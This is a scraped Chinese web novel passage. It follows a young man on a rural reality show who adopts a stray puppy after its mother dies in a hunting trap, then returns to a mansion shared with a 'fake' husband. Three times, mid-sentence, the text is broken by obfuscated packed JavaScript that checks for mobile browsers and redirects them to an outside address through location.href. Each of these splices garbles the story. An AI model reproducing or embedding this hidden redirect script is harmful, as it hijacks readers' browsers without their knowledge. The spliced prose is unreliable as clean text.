RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115084|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漠待多年后,下意识的自我保护。 明夷把心门关得很紧,如果有人能侥幸扣开一线,或许才能窥见他真正的精神世界。 沈盼也看到了明夷手上的红肿,很快也联想到了原因,不由自责道:“等会儿我们买点冻疮药回去吧。” 明夷忙道:“真的不用,过会儿就自己消了。” 刚好这时又来了一名顾客,这个话题才没有继续下去,明夷松了口气。 没过多久,所有的笋全部卖完。 由于嘉宾没有手机,只能收纸币,很多人还特意跑去附近的小店换了纸币过来,三人数了一遍钱,一趟下来,总共赚了165块钱。 这笔巨款来得及时,他们刚好可以在集市上买点菜回去,摊主见他们后面跟着摄像机,也没有看他们年轻就胡乱报价,因此三人以很实惠的价格,买到了不少的菜。 《我们在路上》的录制时长是四天,第四天傍晚,嘉宾们就会离开,如果不在乎菜色重复,这些菜够他们凑合剩下的七顿饭了。 到了最后,他们今天赚的钱还剩48。 纪年跟沈盼商量了一下,花了十五块,在路边摊买了一双手套。 明夷试图阻止,可纪年直接把手套往他怀里一塞,说一不二道:“先不说今天回去冷不冷,接下来几天还要靠你骑三轮车的,钱赚来就是花的,咱们就是说,该省省该花花。” 明夷只好收下手套,嘴唇动了动,轻声说:“谢谢。” 纪年买的手套是分指的,厚实,但丑,红绿搭配,色彩喜庆得像过圣诞节。 明夷戴着圣诞节手套,载着后车斗的三人,开着电三轮接地气地回了村。 他们回去时,恰好撞上从山上回来的燕安三人组。 只见季展云一左一右被燕安和祝羽两人扶着,以一种格外眼熟的姿势按着腰,龇牙咧嘴地缓步挪向前。 “这是怎么了?季老师的腰又闪到了?”明夷停下车,纪年和沈盼看到这幅画面,当即下了车。 “唉,说来话长。”季展云苦笑一声,有苦难言。 燕安眼眶红红的:“都怪我,要不是为了拉我,季老师也不会……” 沈盼都不知道说什么了:“事已至此,咱们先把季老师送回去休息吧。” 几人合力将季展云送了回去,躺下后,季展云才舒服许多,还有闲心对祝羽说:“我躺着就好,你和安安卖笋去吧。” “我们回来的时候集市都要散了,”纪年无情戳破季展云的幻想:“你们还是想想今天中午吃什么吧。” 虽说这综艺讨饭成梗,但如果真的一直讨饭,就没意思了,一直做伸手党,不说别的,观众的观感多多少少会下降。 他们两组毕竟是对抗路的关系。 可架不住就是有人喜欢做伸手党。 燕安看了一眼空荡荡的灶台,为难地将目光转向明夷,可怜兮兮道:“二哥,你帮帮我们吧。” 他刚刚看到了,车斗里分明有很多菜,接济一下他们,完全没问题。 明夷目光淡漠,一点情绪都不想给燕安,只说:“那些菜是我们组用一起赚来的钱买的。” 燕安闻言咬唇,目光落在明夷过于显眼的手套上,这个天气虽然算得上冷,但完全没到需要特意买一双手套的地步:“可你连手套都买了……” 被他一说,一直在燕安直播间的观众,此刻也纷纷注意到了明夷的手套。 【不是,这节目钱这么难赚,他买一副没用的手套?不愧是臭名昭著的ymy啊(鼓掌)】 【我吐了,说好了三个人一起赚的钱呢?他就这么公款私用了?】 【好丑,丑手套配丑人,绝配!】 一时间,弹幕上骂得非常难听。 可就在这时,纪年冷不丁开口:“你跟你二哥相处这么久,不知道你二哥手上有冻疮吗?” 12.黄桃与小松熊 燕安一愣,随即露出一抹来不及掩饰的惊讶之色,显然并不知道这件事。 “手套是我们说要买的,怕他开电三轮冻到手。”沈盼也听不下去了,在旁边补了一句。 反转来得太快,观众刚刚还在肆意谩骂,这会儿脸差点被打肿,被压下的声音终于冒了出来。 【从ymy直播间过来的,我作证是真的。】 【不是,你们家天天把二哥挂在嘴边的好安安,连自己二哥手上有冻疮都不知道?看来他也没多关心嘛。】 【燕家条件这么好,也没把ymy的手保养回来……我真的只能说,燕家人也就嘴上说的好听,爱?一点没有。】 燕安也意识到了自己言行的出入,嗫喏着说:“对不起啊二哥,我一时间没有想起来这件事。” 明夷语带讥讽道:“没关系,这点‘小毛病’,你想不起来也是正常的。” 明夷已经快抑制不住自己的厌恶,并且懒于掩饰,好在这时季展云打了个圆场,转移了话题,沈盼和纪年也顺势把明夷带了出来,商量给菜的问题。 说是这么说,在镜头底下,这些菜不能真的一点也不给。 明夷没意见,他可以当做送菜对象是季展云,至于燕安和他的忠实舔狗,吃点剩渣无所谓。 回了家,沈盼掺了盆温水出来,让明夷泡手,纪年则抱了菜,笑嘻嘻地说:“以后洗菜洗碗的事我们包了,大厨你就负责炒菜吧。” 明夷没有拒绝他们的好意,也笑笑说:“好。” 由于早上收获满满,中午,他们吃上了三个菜。 不仅用料新鲜,还没有乱七八糟的调味料,再加上袅袅的炊烟,远处的山景,有种很质朴的返璞归真感。 就连看这档综艺的观众也恍惚了。 这还是他们的讨饭综吗? 说是美食综也不为过啊! 镜头给到明夷做饭场景的时候,甚至像是在拍纪录片。 洒落进屋里的阳光,锅里袅袅升起的水汽,半卷起的袖口露出清晰的小臂线条,明夷的半张侧颜隐没在光影与烟火味的界限里,眉眼都被晕染得柔和。 【嗯……该说不说,ymy确实有点姿色(摸下巴)(点头)】 【以前怎么没发现他长得不错?仔细想想,恶毒美人好像也很好吃……】 【你们不要什么都吃啊!他以前可是当过小混混的校霸!】 弹幕上的争吵与嘉宾无关,三人一边吃饭,一边聊着以前的一些趣事,明夷没有什么趣事可言,于是大部分时间都在听别人的趣事。 忽然纪年“诶”了一声:“你们看,门口来了一只狗。” 明夷下意识转头看去,果然看到院门口站了一只毛发凌乱的黄狗,它眼巴巴站在门口张望着,却谨慎地没有踏进门。 “是被香味引过来的吗?”纪年忍不住“嘬嘬嘬”了几声,黄狗接到友善的信号,飞快晃起了尾巴。 沈盼惊喜道:“哇,它还带了一只小狗!” 不同于瘦骨嶙峋的黄狗,小狗的毛色是白的,只有脸和耳朵带点黄色,看上去还胖嘟嘟的,格外可爱。 “好瘦啊,喂点肉看它吃不吃。”纪年忍不住投喂了一块肉,黄狗见肉飞过来,终于不再迟疑,进门狼吞虎咽地吃了这块肉。 它一进来,小狗也屁颠颠地跑进来了,绕着黄狗活泼地打转。 “不知道是谁家的狗,好像饿了很多天的样子。”沈盼于心不忍:“要不把剩下的菜给它们吃吧。” 其他两人当然都同意了。 条件有限,他们只能将剩下的米饭跟菜拌了拌,倒给它们吃。 没想到黄狗带着孩子吃了这顿饭,晚饭的时候竟然又来了,显然把这里当成了固定蹭饭点,并且到了天黑也没有回去的意思。 不得已,三人去询问了附近的村民,免得别人找不到自家的狗。 “哦,那条黄狗没人养,就是流浪狗,你们要养直接带走就行。” 对此,纪年哈哈一笑:“前有讨饭嘉宾,后有讨饭小狗,这个节目果然跟讨饭有缘,干脆真的改名《我们在讨饭》吧——不限物种的那种。” 观众们哈哈一乐,纷纷去节目组官网玩梗。 眼下热度高,节目组很快配合着做了相关宣发,看着实时攀升的话题度,导演都快笑麻了。 然后当天晚上,剧情线又偏移了1%,主角爽度则再次掉了3个点。 系统一觉醒来天塌了。 【啊啊啊这到底是为什么!昨天明明已经撤热搜了,怎么今天主角的名声又烂了?】 谢云歇心道,就这个每天爆新瓜的速度,撤热搜哪里撤得过来? 嘴上还是安慰系统:“你别急,我再撤一次试试看。” 系统仍在抓狂:【还有剧情线,你打电话给明夷,打给他!叫他明天千万别再爆瓜出来了!】 谢云歇又是哄又是劝,把系统安抚住了,才打电话给明夷。 - 熟悉的工作人员,熟悉的手机。 明夷狐疑地接过,看到了熟悉的陌生来电。 他心念微动,猜到系统那边又出了问题,心情不由微微愉悦了起来。 “喂?” “还是我,冒牌货。” 谢云歇先是公事公办地说:“今天剧情线又偏了1%,系统让你明天别爆瓜出来了。” “爆瓜?”明夷很无辜:“我没有啊。” “系统说你暴露手上有冻疮,害燕安被骂。” 明夷无奈:“那你告诉它,我也不想的啊,冻疮是人类控制不了的病,要是有选择,我也不想复发。” 谢云歇老老实实转述:“系统说,你明天不许暴露任何有关悲惨过去的事,也不许让燕安出丑,更不许让燕安陷入被道德谴责的境地。” 明夷轻轻一笑:“我是受害者,凭什么要绞尽脑汁为他保驾护航?” 谢云歇继续:“系统说你要是再不听话,它就要让我把你绑回来了。” 明夷更疑惑了:“那后面的剧情不是崩得更厉害了?” 谢云歇那边停顿了一会儿,接着清了清嗓子:“系统无话可说,接下来由本人发言。” “冒牌货先生,你又想说什么?” 明夷以为谢云歇又要暗示他一些消息,已经打起了精神,没想到谢云歇只是在那边笑道:“我找人给你送了药,记得涂。” 药? 明夷很快收到了谢云歇口中的“药”,果然,是擦手的。 明夷拿着药回到了房间,纪年看到他手上的药,狐疑问道:“节目组给的?” 明夷含含糊糊地应了一声,钻进了自己的被窝,不太好意思让人知道,这是跟他冒牌老公送的药。 纪年却坐不住了,问明夷:“燕安一直都这样?” 明夷没反应过来:“嗯?哪样?” “就是……内涵?也不是内涵,绿茶?装可怜?”纪年想不出一个形容词:“反正就暗戳戳挤兑你。” 明夷平静道:“他在我爸妈面前一直都这样。” 纪年摇摇头:“这种人不玩明的,就喜欢玩暗的,难对付,哥劝你一句,别纠缠,离他远点,沾上就一身腥。” “我觉得你挺好的,以后完全有能力走出一条自己的路。” 话是好话,全部出自肺腑之言,明夷听出来了,真心实意地感谢纪年:“谢谢你,纪年哥。” 纪年乐了,逗他说:“你原来还是会嘴甜的嘛,再喊一声纪年哥来听听?” “……”明夷掀起被子:“睡了。” “年纪轻轻,倒头就睡啊?”纪年揶揄几句,眼看着那个被子包变得更鼓了。 嘿,有趣。 夜深人静。 明夷辗转反侧,一直没有入睡。 想到纪年刚刚说的那些话,明夷心里涌起淡淡的苦涩。 他已经没有那么远的以后了。 手背再度泛起瘙痒,明夷摸到谢云歇送的药膏,还是将它涂到了手上。 话说回来,那位冒牌货先生,为什么会对他这么上心? 昨天送鼓励,今天送药膏,动机是什么? 很怪。 这个问题再度划过明夷的脑海,依旧没有答案。 * 第二天起来,比节目组更早到来的,是带崽讨饭的黄狗。 三人给黄狗取了名字,叫黄桃,小奶狗则取名为小松熊,因为它长得有点像小熊。 早饭是青菜瘦肉粥配萝卜丝蛋饼,用铁锅摊出来的,边缘微焦,香得纪年和沈盼不顾滚烫的面饼,大口大口地往嘴里塞。 早餐后剩了点饼,明夷掰碎了,拿在手上喂小松熊,胖嘟嘟的小狗闻着味,哼哼唧唧要走过来吃,明夷给它吃了一小块,实在没忍住,把小松熊四脚朝天地推倒,揉搓它软乎乎的肚子。 小奶狗弱小可怜又无助,气得要咬明夷的手,左扭又扭都咬不到,只能发出奶呼呼的小狗哼唧声。 它妈妈黄桃完全不管被人类欺负的孩子,眼巴巴地盯着明夷手里的饼看。 明夷把饼给了黄桃,摸摸它的头:“给你吃,你把宝宝喂得这么胖,自己也要多吃点。” 明夷难得露出点温柔的笑模样,跟平日里的淡漠寡言相比,简直判若两人。 【原来燕贵人不笑,真的是生性不爱笑啊……】 【他蹲在地上玩小狗诶,好可爱!】 【赏!不就是萝卜鸡蛋饼!所有小狗都有的吃!】 今天,节目组给嘉宾们找了一项新的赚钱营生,那就是采茶叶。 听说可以体验采茶,嘉宾们跃跃欲试地跟着村民出发,一起前往茶山。 小松熊刚刚还被明夷欺负得得嗷嗷直叫,这会儿见明夷要走,又屁颠颠跟在了他的脚跟后,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118282|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夷让它跟着黄桃回去,它也不走。 好在它跟了一段山路后,黄桃看出他们要去人类多的地方,警惕地领着小狗返回了。 明夷这才能安心工作。 今天季展云的腰转好了一些,因此也上了山,令影帝感到庆幸的是,今天燕安的脚终于不滑了。 大抵是换了一双更防滑的鞋吧。 这期节目是小组赛,最后一天结算时,哪一组剩的钱最多,就能获得胜利,事已至此,季展云也不求能赢了,只求他的老腰能安安稳稳度过这一期。 刚开始采茶,他们还有几分新鲜劲,但采了两个小时后,不仅眼睛酸了,手也酸了,人逐渐开始吃不消。 明夷小队已经脱离了基本温饱线,干脆也不硬赚这钱了,美名其曰:“给另一组一个超过我们的机会。” 最后明夷组结算了368的工钱,在另一组羡慕嫉妒恨的目光里翩然离去。 路上,纪年喜滋滋地说:“季老师的腰不行,其他两个小年轻肯定也不能摘一整天,这局我们稳了!” 明夷却觉得悬。 根据主角光环最大原则,正常情况下,没人能在任何游戏和比赛里赢过燕安。 所以,要么他们这点钱会被意外花掉,要么燕安他们会意外获得一笔钱,反正他们赢面不大。 明夷对输赢无所谓,只是一个节目里的比赛而已,况且,他已经输给燕安太多次了,不差这一次。 忙碌一上午,中午,三人又吃了饱饱的一餐。 “咦,中午黄桃怎么还没带它孩子来?”纪年纳闷道:“难道在别处讨上饭了?” “早上喂得多,可能还饱着,就忘了时间,”明夷说:“我把剩下的给它们留着。” 然而,等到天都快黑了,黄桃和小松熊还没出现。 明夷莫名有点不安,晚饭都吃得心不在焉。 纪年见他频频往门口看,不由调笑他道:“这么喜欢,你就带回自己家养嘛,零元购,多划算。” 明夷下意识想到谢家那栋没有人气的大别墅,不愿承认那是自己现在的“家”。 “但确实有点奇怪,”沈盼托着下巴说:“之前黄桃那么瘦,不像是有人会喂它们的样子。” 天又黑了一点,明夷终于坐不住,起身说:“我去找找,有可能是掉在山上的坑里了。” “天都快黑了,你要自己上山?”正在收拾碗筷的沈盼忙擦手出来:“要找一起找,你自己去太不安全了。” 纪年连声附和,三人碗也不洗了,拿上手电筒就出了门。 他们沿着白天走过的山道一路找过去,没找到黄桃和小松熊的任何踪迹。 明夷不死心地沿路喊黄桃的名字,终于在一片树林里听到了隐约的狗叫声。 三人立即赶了过去,手电筒的光一照,心都凉了。 黄桃和小松熊真的掉进了坑里,但如果只是坑,那就好了。 坑底还有一只捕兽夹,黄桃被捕兽夹夹住了腹部,流出的血已经把皮毛浸湿了,万幸的是,小松熊掉在黄桃的身上,没有受伤,但因为身型太小,根本无法跳出这个坑。 可想而知,如果没有人发现,母子俩都会被这个陷阱活活耗死。 虽然镜头只是一晃而过,但不少观众还是看到了点实况,他们蹲在直播间,就是想看明夷他们找到黄桃和小松熊,却没想到,最后会是这样的结果。 【我靠,做这个陷阱的人,他有爹妈吗!!!】 【黄桃怎么样了?呜呜呜好多血,还能救回来吗?小熊不能失去妈妈啊!】 【还好来找了,对不起ymy,之前还骂你事多……】 明夷看到黄桃腹部的血,脑子懵了一会儿,下意识就要伸手去掰那个捕兽夹,被纪年阻止了:“别用手,找工具!” 节目组发现事情不对,立即派了工作人员过来支援,这种方面,他们肯定得人性化一点,否则是会被喷死的。 一番周折下来,黄桃被快速转送到了村里唯一一家兽医站里。 兽医给黄桃缝了针,挂上了药水,摇头说情况不容乐观,如果挺不到明天,估计就不行了。 明夷没走,坐在旁边的椅子上等点滴,纪年和沈盼陪他一起等。 只是还没过一个小时,兽医过来看了眼,便叹息着摇了摇头,停止了输液。 一时间,四下皆静。 纪年感到身边的明夷明显僵硬住了,他有心想安慰明夷几句,拍了拍明夷的肩,正要开口,忽而瞥到一滴砸在地上的水液。 他一愣,抬眼看去,发现不声不响的明夷,不知何时竟已满脸泪痕,但他没有发出半点声音,只是红着眼眶,没有什么表情地垂眸看着地面,任凭泪珠却沿着脸颊滑落,在瘦削的下巴汇聚成滴。 那是一种不需任何言语,便可轻易表达的悲伤。 “小松熊没有妈妈了。”明夷颤声说。 13.前路有光 比赛的最终胜利,终究还是落在了燕安组。 为了凑齐诊金,明夷组几乎把之前赚来的全部家当都给了兽医,到了那个地步,根本没人在意所谓输赢。 宣布结果时,明夷脸上没有什么波动,自从昨晚黄桃离开后,他就一直有点不在状态。 终于捱到了节目结束,明夷魂不守舍地开始收拾行李箱,快收拾完时,他另外两个队友忽然进来了。 接着,怀里被塞了什么东西。 软乎乎的,在他怀里哼唧唧直叫。 明夷抱着怀里的小松熊,一时间愣住了。 “明夷,你把小松熊带回去吧。”沈盼认真说:“留它独自在这里,它活不下去的。” 明夷缓慢地反应过来,想要推拒:“我家里……可能不太方便养,不然你们来——” “我觉得,你比我们更喜欢小松熊,”纪年顿了顿:“也更需要小松熊。” 沈盼跟纪年一唱一和:“你看,它也更喜欢跟着你,对不对?” 明夷哑然失语,下意识低头看怀里的小狗。 小松熊仰躺在他怀里,懵懵地舔了舔嘴巴,湿漉漉的豆豆眼里写满懵懂。 明夷稀里糊涂的就答应了下来。 临行前,纪年和沈盼都跟明夷加了联系方式。 沈盼对明夷印象还挺好的,虽然不太爱说话,但为人不错,没什么乱七八糟的小心思,人也踏实肯干,可以结交。 纪年加了联系方式,还特意把明夷单独拉到一边,跟他说悄悄话。 “这个医生很好的,以前我拍戏压力大,经常找他做疏导。”纪年推了一个名片给明夷,明夷迟疑点开,发现这个账号的名称是某某心理医生。 “你不能一直压抑着自己,人绷到极致,真的会出问题的,”纪年拍拍他的肩,眨了眨眼:“去疏导一下吧,报我的名字打五折,不用惊讶,那是我亲戚,亲情价哦。” 明夷知道纪年可能是担心他太难过,影响心理状态,他抿了抿唇,不知该说什么,最终只能真诚地再次谢过纪年的好意。 纪年爽朗笑笑,对他认真地说:“明夷,跨过这段黑暗,前面会有光的。” 目送明夷的车离开,纪年目光稍敛。 还有一件事,他没跟明夷说。 其实那一晚,他真的听到了明夷的梦话。 明夷一直在说‘好黑好冷’‘救救我’‘别丢下我’之类的话,纪年没法把他从梦魇里叫醒,只能坐在床边,轻拍着他的背安抚。 明夷就真的安静了下来,仿佛只要得到一点温暖,就心满意足。 这明显是不正常的。 不管那个梦魇是什么,纪年都希望,明夷回去后,能彻底从那个梦魇里脱离。 - 明夷稀里糊涂地就把小狗带回了家。 等他抱着小松熊站在别墅门口,这才骤然意识到了不妥。 在明夷心里,这里从来不是他的家,而是谢云歇的家,他没有资格在这里放置自己的私人物品,更没有资格养自己的小狗。 明夷站在门口犹豫不决,正思考该怎么跟谢云歇说养狗的事,面前的门忽然打开了。 接着,一个戴着墨镜和口罩,全副武装的高大男人出现在了门口。 明夷愣了下,下意识抱着小松熊后退了一步:“你是——” 男人抬手摘下墨镜,露出一双熟悉的灰蓝色眼睛,然后做贼似的对他说:“是我,冒牌谢云歇。” “……” 不愧是他,几天不见,一出场又是新的离谱操作。 明夷茫然问:“……你怎么打扮成这副样子?” “我这不是怕你冷不丁看到这张脸,感到不适嘛,给你缓冲一下。”谢云歇把墨镜摘了,目光落在明夷怀里的小胖狗上,节目里的事,谢云歇也有所耳闻,因此他没多问,只是说:“怎么不带它进来,站门口干什么?” 明夷张了张口:“这里……可以养吗?” 谢云歇却疑惑道:“现在你才是这里的主人,你想养什么就养什么啊。” 谢云歇脸上的疑惑不似作假,好像本来就该如此,见明夷呆呆的没反应过来,谢云歇便贴心地提醒他:“你忘了?我是冒牌货,那谁又下地狱了,所以他的遗产理所应当,都该由你继承啊。” 明夷缓慢地眨了一下眼,好像……确实有一点道理? 谢云歇让开位置,没被遮挡住的眼睛露出一丝笑意,掩映在他身后的暖色灯光中,有种温柔的错觉:“明白了吧,所以快进来吧。” 明夷“嗯”了一声,这才抱着小松熊,走进这栋灯火通明的别墅。 谢云歇在他身后关上门,想到刚刚在可视门铃里看到的画面,不由轻声一叹。 夜色下,单薄瘦削的少年抱着他的小狗,身后就是漆黑夜色,灯光落在他的身上,只映照出满身的孤寂冷清。 明明已经站在家门口,他却犹豫着,迟迟不敢上前一步,眼神落寞得像只被遗弃太多次的小狗。 看得谢云歇恨不得马上开门,把他捡回家。 谢云歇也确实开门了,虽然这个地方并不适合成为明夷的家,但至少可以成为一个遮风挡雨的庇护所。 明夷进了门,没有看到老管家和佣人,不由疑惑:“管家呢?” 第一次来谢家时,这栋别墅就像一座有序运转的冰冷机器,佣人们如工蜂般在别墅各处忙碌,老管家穿行其中,冰冷刻薄得如同一个行走的教条。 可明夷此时回想,好像自从那晚冒牌货先生来了以后,他就再也没有看到过老管家了。 谢云歇从明夷身边走过,随口说了一句:“老管家身体不适,回家休息了,明夷,你吃过晚饭没有?” 明夷思绪被打断:“没有。” 谢云歇马上往厨房走:“我给你端。” 谢云歇一下子就消失在了厨房里,明夷都来不及跟他客套一下,只好尴尬地将怀里的小松熊放在地上,让小狗自己玩一会儿。 小松熊被放在地上,却没有马上跑走,而是嘤嘤嘤地绕着明夷的脚打转。 “乖狗狗。”明夷蹲在地上,摸摸它毛茸茸的小脑袋,突然想到小松熊还没吃晚饭,便拿出手机,打算买点狗粮救急。 正好这时谢云歇端着菜出来:“洗洗手吃饭吧。” “稍等,我先给小松熊买点狗粮,”明夷专注地盯着手机说:“它应该饿了。” 谢云歇擦了擦手,走了过来,原本在明夷脚边徘徊的小松熊,忽然扭头对他奶凶地吠了几声,见谢云歇脚步不停,它整只狗夹住尾巴,瑟瑟发抖地躲到了明夷的两脚之间。 “怎么了?”明夷不明所以地低头,看到了挤在自己两脚中间的白色狗头。 “可能是有点害怕我。”谢云歇站定了,对明夷温声说:“你先吃饭,我让秘书去买。” 明夷愣了下:“会不会太麻烦你秘书了?” “他本来就要给我送文件,顺路的事。” 谢云歇有时候看着很好说话,有时候又非常雷厉风行,明夷看着他打了个电话:“你去买些小狗用的东西,都要最好的。” 说这些话的时候,谢云歇的口吻称得上冷淡,是很自然的上位者的姿态。 明夷想起谢云歇说过,他在来这里之前,开的是医药公司? 坐拥一家垄断市面上85%抑制剂的医药公司,可以想象到谢云歇手里究竟掌握着怎样的财富和权利。 这样的人,到底为什么会在自己身上倾注如此多的目光? 明夷没有什么自恋的想法,他只是理性的思考,或许谢云歇要摆脱系统,恰好需要自己的配合与帮助。 吃完饭后没多久,小狗用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123296|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品就送到了,谢云歇的秘书办事得力,把用品买得非常全,明夷甚至在包裹里翻到了五种不同品牌的高端幼犬粮。 明夷只好随机选了一款,把狗碗拿去洗了几遍,然后倒了半碗的狗粮。 所幸小松熊不挑食,很快哼哧哼哧地埋头吃起来。 另外还有尿垫、狗窝、狗笼、肉干……等等乱七八糟的东西,明夷忙忙碌碌地将它们整理出来,分门归类,另一边谢云歇跟秘书说完话,过来对明夷说:“宠物店说小狗到家后最好去医院一趟,做个体检。” 明夷点点头:“好,我明天就带小松熊去。” 谢云歇看他蹲在柜子前,费力往里面塞罐头,小小一只,怪可爱的,不由跟着在明夷旁边蹲下:“我帮你?” 明夷动作顿了一下:“不用,你去做自己的工作吧。” 被明夷拒绝,谢云歇也不强求,起身往房间里看了一眼,小松熊不知躲去了哪里,完全看不到踪迹。 - 回到楼上书房,系统仍在谢云歇脑海里长吁短叹。 【毁了,彻底毁了……】 【明夷本该在众目睽睽下暴露脖颈上的项圈,还有身上那些耻辱的印记,结果连这部分剧情都没了……天杀的剧情线,该拿什么挽救你!】 谢云歇坐在老板椅上,拿起秘书送来的文件看了起来:“系统,你该庆幸这个剧情没有实现才对。” 【什么意思?】 “燕安现在本就处于风口浪尖,如果这时候,明夷被燕家送去联姻的消息又被爆了出来,你猜燕家和燕安会不会又被骂?” 系统:【……】 谢云歇拿出一份加急文件,目光扫过上面的内容:“剧情线牵一发而动全身,现在情况有变,我觉得,我们万万不能盲目地照着原文的剧情线走,否则迟早会迎来剧情线崩盘。” 系统警惕道:【你想怎么样?】 “咱们要具体情况具体分析,用辩证思考的态度慎重对待剧情线,”谢云歇摆事实讲道理:“现在主角爽度下降,主要是因为主角深陷舆论风波,燕安鸠占鹊巢是客观事实,无法改变,所以,我们要扭转风评,只能从明夷身上下手。” 系统提起一点兴趣:【愿闻其详。】 “观众会骂燕安,是因为明夷太惨了,触动了观众的心灵,所以,我们只要让观众再次对明夷心生厌恶就好了。” 【怎么让观众讨厌明夷?】 “这还不简单?”谢云歇笑道:“让明夷演烂片啊,谁不知道他演技差?” “你看这个项目。”谢云歇很快找到合适的目标,对系统说:“热门IP改编的电影,由著名导演亲自操刀,广受无数粉丝期待,偏偏被主角攻挖走了备受期待的主演。如果把明夷塞进去当主演,他绝对会被粉丝骂死,到时候就没人关注燕安的事情了。” 系统:【是这个烂片啊……你是想让明夷顶上那个空缺的角色?】 谢云歇:“让明夷顶上不好吗,刚好可以跟燕安的新电影打擂台,到时候一比,就知道谁是小丑。” 系统闻言,用数据仔细分析了这个方案的可行性。 明夷演技稀烂,这种情况还要走后门演大IP热门反派,用脚趾头想都知道会被骂。 那个电影本就是烂片预定,加上明夷,简直烂上加烂,未来绝无可能打得过燕安的新电影,只能沦为燕安的陪衬,主角爽度upup,简直完美! 明夷前几天突然爆瓜,导致剧情线偏移,主角爽度下降,系统都快恼火死了,现在一想,把恶毒炮灰废物利用一下,似乎也不是不行。 封闭拍摄总不能爆瓜了吧?总归明夷也只能再活不到一个月的时间,把他放在剧组里演戏,谅他也翻不出什么花。 系统:【那你过几天去做做他的思想工作。】 谢云歇轻笑:“行。” 14.她把我当外人? 燕安是在回家的路上看到那些话题的。 他眼睛紧紧盯着闪着白色荧光的手机屏,手指不受控制地滑动。 那些言论映入他的眼帘,“假少爷”“鸠占鹊巢”“豪门白莲花”等字眼几乎刺痛了他的眼睛。 坐在他旁边的助理欲言又止,小声劝他道:“在车上看手机对视力不好,休息一会儿吧。” 燕安依言熄屏,闭眼往座椅上一靠,深深吐出浊气,这才轻声开口,询问助理:“大哥知道这件事吗?” 助理支支吾吾:“知道……但燕总真的第一时间就插手处理了!” 既然已经处理过了,为什么网上的舆论依然有愈演愈烈的趋势? 燕安想不明白,燕知衡不是向来最在意他的吗? 他伸手按了按眉心,露出一丝苦笑:“明夷他……果然还是恨我的。” 否则怎么会故意把那些事往外说,将他置于这种尴尬境地。 对于这些豪门恩怨,助理向来不敢评价,只一味地劝燕安多多休息,不要多想。 燕安心烦意乱,勉强闭眼小睡了一会儿,回到家后,他却没有立即上楼洗漱,而是直奔花房。 沈莉蓉今天难得没有参加晚宴,而是颇有闲情逸致地侍弄她那些花花草草,燕安进了花房,立即委屈地喊了一声“妈妈”。 沈莉蓉闻声回头,看到燕安,下意识露出温柔笑容:“安安回来啦。” “妈妈,”燕安走上前,噘着嘴一副闷闷不乐的模样,沈莉蓉见状,顿时放下花剪,心疼道:“怎么了?谁欺负我们安安了?” 话音刚落,燕安便红了眼眶:“妈妈,你有没有看过我新参加的综艺直播?” 沈莉蓉刚开始还不明所以,一提到综艺直播,她才隐约想起了什么,脸上露出了点迟疑之色。 燕安一看就知道,沈莉蓉也知道了这件事。 明明妈妈也知道了,为什么也没有理会舆论? 沈莉蓉见燕安这孩子含泪看着自己,怪惹人怜的,便放柔声音安抚道:“网上那些不过是一些流言罢了,那些人懂什么?只要你自己知道,爸爸妈妈没把你当外人不就好了?” “不一样的……”燕安满脸难过,赌气道:“现在网上把这件事传得到处都是,以后我去参加宴会,其他家族的人会怎么看我?” 沈莉蓉软言哄了几句,见燕安还气鼓鼓的,就牵起了燕安的手,准备带燕安去吃她早早炖下的甜汤。 恰在此时,燕知衡下班回来了。 “哥哥!”燕安惊喜地唤了一声。 沈莉蓉只感到手上一空,下一秒,身边的少年便像乳燕投林一般,飞快扑进了刚进门的大儿子怀里。 燕安双臂紧揽着燕知衡的腰腹,脸也贴着燕知衡的肩膀,猫一般在规整的灰色西装上蹭来蹭去。 亲密的姿态,莫名让沈莉蓉感到刺眼异常。 放在以前,沈莉蓉或许还会欣慰地觉得,这是兄弟俩关系好的表现,可听了明夷那些话后,沈莉蓉看着这一幕,是越看越不舒服。 她下意识攥紧了手心。 燕知衡刚进门,就被燕安紧紧抱住,他下意识回抱了一下,柔声说:“我们安安回来了?吃过饭没有?” 燕安乖乖说:“没有,妈妈说要等你一起吃。” 燕知衡闻言抬头,这才注意到了母亲的存在,看到母亲有些铁青的脸色,燕知衡骤然意识到了什么,下意识收回了揽着燕安的手,见燕安没有松开他,还仓促地推了燕安一下。 在沈莉蓉看来,更显得欲盖弥彰。 “哥哥?”燕安茫然地被推开了,疑惑而委屈地看向燕知衡。 燕知衡避开母亲审视的目光,强自镇定道:“安安,吃饭吧。” 燕安再转过身时,沈莉蓉的神色已经恢复了正常,只是眼中明显多了几分心事重重。 三人一起坐到餐桌上。 “爸爸今天不回来吃饭吗?”燕安问。 “你爸爸飞去别的市了,晚上不回来,”沈莉蓉有些心不在焉地答了一句,忽然想起什么,转而询问大儿子:“知衡,上次相的刘家千金,你觉得怎么样?” 燕知衡正在夹一块豆腐,闻言豆腐没夹住,掉在了桌上,他克制地抿唇,低头喝了一口水:“不怎么样,我跟她没什么话题。” 